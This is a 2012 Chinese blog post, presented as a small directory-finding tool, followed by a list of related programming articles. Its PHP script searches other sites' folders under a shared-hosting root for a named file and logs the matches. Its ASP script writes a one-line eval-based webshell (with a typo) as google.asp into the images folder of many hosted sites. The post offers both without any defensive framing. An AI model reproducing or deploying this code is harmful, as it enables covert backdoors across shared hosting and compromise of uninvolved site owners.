php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
在Zeus Web Server中安装PHP语言支持
Oct 09 PHP
PHP入门
Oct 09 PHP
PHP 程序员的调试技术小结
Nov 15 PHP
在PHP中检查PHP文件是否有语法错误的方法
Dec 23 PHP
php运行出现Call to undefined function curl_init()的解决方法
Nov 02 PHP
MySQL连接数超过限制的解决方法
Jul 17 PHP
php while循环得到循环次数
Oct 26 PHP
php实现cookie加密的方法
Mar 10 PHP
PHP批量获取网页中所有固定种子链接的方法
Nov 18 PHP
使用SMB共享来绕过php远程文件包含的限制执行RFI的利用
May 31 PHP
Yii框架分页技术实例分析
Aug 30 PHP
Laravel 手动开关 Eloquent 修改器的操作方法
Dec 30 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
编写自己的php扩展函数
2006/10/09 PHP
php下删除字符串中HTML标签的函数
2008/08/27 PHP
PHP结合Ueditor并修改图片上传路径
2016/10/16 PHP
JQuery 选择器 xpath 语法应用
2010/05/13 Javascript
JavaScript高级程序设计(第3版)学习笔记13 ECMAScript5新特性
2012/10/11 Javascript
浅谈JavaScript函数参数的可修改性问题
2013/12/05 Javascript
jQuery读取XML文件内容的方法
2015/03/09 Javascript
JavaScript模板引擎用法实例
2015/07/10 Javascript
解决nodejs中使用http请求返回值为html时乱码的问题
2017/02/18 NodeJs
Webpack中css-loader和less-loader的使用教程
2017/04/27 Javascript
微信小程序利用co处理异步流程的方法教程
2017/05/20 Javascript
React 子组件向父组件传值的方法
2017/07/24 Javascript
JS时间控制实现动态效果的实例讲解
2017/07/31 Javascript
JS实现获取word文档内容并输出显示到html页面示例
2018/06/23 Javascript
countUp.js实现数字动态变化效果
2019/10/17 Javascript
JavaScript事件冒泡机制原理实例解析
2020/01/14 Javascript
[56:48]FNATIC vs EG 2019国际邀请赛小组赛 BO2 第二场 8.15
2019/08/16 DOTA
Python中的CURL PycURL使用例子
2014/06/01 Python
在Django中创建第一个静态视图
2015/07/15 Python
Python基于递归算法实现的走迷宫问题
2017/08/04 Python
pandas数据预处理之dataframe的groupby操作方法
2018/04/13 Python
python2.7实现FTP文件下载功能
2018/04/15 Python
python操作kafka实践的示例代码
2019/06/19 Python
python处理自动化任务之同时批量修改word里面的内容的方法
2019/08/23 Python
django框架cookie和session用法实例详解
2019/12/10 Python
python add_argument()用法解析
2020/01/29 Python
Pyqt助手安装PyQt5帮助文档过程图解
2020/11/20 Python
Python 按比例获取样本数据或执行任务的实现代码
2020/12/03 Python
CSS3实现div从下往上滑入滑出效果示例
2020/04/28 HTML / CSS
HTML5中Localstorage的使用教程
2015/07/09 HTML / CSS
应届毕业生自荐书
2014/06/18 职场文书
避暑山庄导游词
2015/02/04 职场文书
工作计划范文之财务管理
2019/08/09 职场文书
数据库连接池
2021/04/06 MySQL
uniapp开发小程序的经验总结
2021/04/08 Javascript
Oracle 多表查询基本语法实例
2022/04/18 Oracle